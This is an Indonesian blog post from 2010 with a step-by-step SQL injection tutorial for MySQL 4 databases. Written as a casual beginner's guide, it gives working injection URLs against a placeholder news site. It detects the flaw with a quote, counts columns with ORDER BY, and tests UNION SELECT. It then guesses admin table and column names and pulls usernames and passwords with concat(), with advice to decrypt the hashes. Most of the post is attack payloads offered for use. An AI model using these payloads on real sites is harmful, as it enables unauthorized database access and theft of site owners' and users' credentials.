Oleh: em44y | 12 Maret, 2010

SQL Injection Versi MySQL 4

teknik sql injection di mysql versi 4 dan 5 sangat berbeda, di versi 5 kita menggunakan information schema untuk melihat isi table dalam database, di versi 4 kita cuma bisa menebak-nebak table yang kira-kira ada didalam database. contoh gini

1. cek vulner dengan menambahkan (‘) diakhir url

http://www.mampus.com/news.php?id=5′

jika muncul error,ada kemungkinan web ini vulner buat di injek :D

2. temukan jumlah kolom (angka ajaib)

http://www.mampus.com/news.php?id=5 order by 1/* <– no error

http://www.mampus.com/news.php?id=5 order by 2/* <– no error

http://www.mampus.com/news.php?id=5 order by 3/* <– no error

http://www.mampus.com/news.php?id=5 order by 4/* <– error

berarti jumlah kolomnya ada 3

3. cek fungsi union
http://www.mampus.com/news.php?id=5 union all select 1,2,3/*

jika muncul angka di web seperti 1,2,3 berarti fungsi union udah jalan :)

4. cek versi, database, user

misal setelah memakai fungsi union keluar angka 1 dan 3, berarti itu angka yang bisa kita explore dan bisa diganti dengan
version() -> untuk melihat versi mysql
database() -> untuk melihat nama database
user() -> untuk melihat nama user

ex:
misal angka yang keluar di web setelah memakai fungsi union keluar 1 dan 3, kita pilih angka 1 buat diexplore.

it should look like this http://www.mampus.com/news.php?id=5 union all select version(),2,3/*

dan akan mendapatkan hasil seperti ini 4.1.33-log atau 5.0.45, itu adalah versi dari mysqlnya..
disini akan dibahas mengenai versi 4, untuk yang versi 5 baca aja postingan sebelum ini disini.

5. mencari table dan kolom

kita hanya bisa menebak kira-kira table apa yang ada didatabase, yang umum digunakan

table names: user/s, admin/s, member/s …

column names: username, user, usr, user_name, password, pass, passwd, pwd dll…

6. coba keberuntungan :D

cek table admin ada or not di database dengan perintah seperti ini dengan mengexplore angka 1 tadi

http://www.mampus.com/news.php?id=5 union all select 1,2,3 from admin/*

jika muncul angka ajaib seperti perintah union tadi, berarti table admin exists!!
jika tidak muncul cari table yang lain misal user/s, member/s,author/s dll pokoknya ampe ketemu dech! :D

lanjut! tadikan table admin udah ada nich, selanjutnya tinggal cari kolomnya

http://www.mampus.com/news.php?id=5 union all select username,2,3 from admin/*

jika muncul angka ajaib seperti perintah union tadi, berarti kolom username di table admin ada!
misal ga muncul cari kemungkinan yang lain misal user,usr dll

kolom username dah ketemu, selanjutnya cek kolom password

http://www.mampus.com/news.php?id=5 union all select password,2,3 from admin/*

jika muncul angka ajaib seperti perintah union tadi, berarti kolom password di table admin ada!
misal ga muncul cari kemungkinan yang lain misal pass dll

kolom username dan password telah ditemukan di table admin, tinggal finishing dech, misal passwordnya ga diencrypt syukur, misal diencrypt tinggal decrypt aja..

http://www.mampus.com/news.php?id=5 union all select concat(username,0×3a,password),2,3 from admin/*

ket: 0×3a adalah bentuk hexa dari :

huh.. udah mau jam 7 pagi mo kuliah dulu yach, ntar telat ga boleh masuk ma dosennya.. hiks hiks… T.T
sekian dulu aja, maaf misal klo salah coz saya masih pemula banget (masih pemula ngasih tutor??##), levelnya dibawah pemula dech!
disini cuma share pengalaman aja :D coz kita tidak berhak menyembunyikan suatu ilmu, karena kita dapat ilmu itu juga bukan karena kita sendiri.. udah ah! cabut dulu…

Ref http://annotes.wordpress.com/2010/03/11/sql-injection-versi-mysql-4/

Iklan

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

Kategori

%d blogger menyukai ini: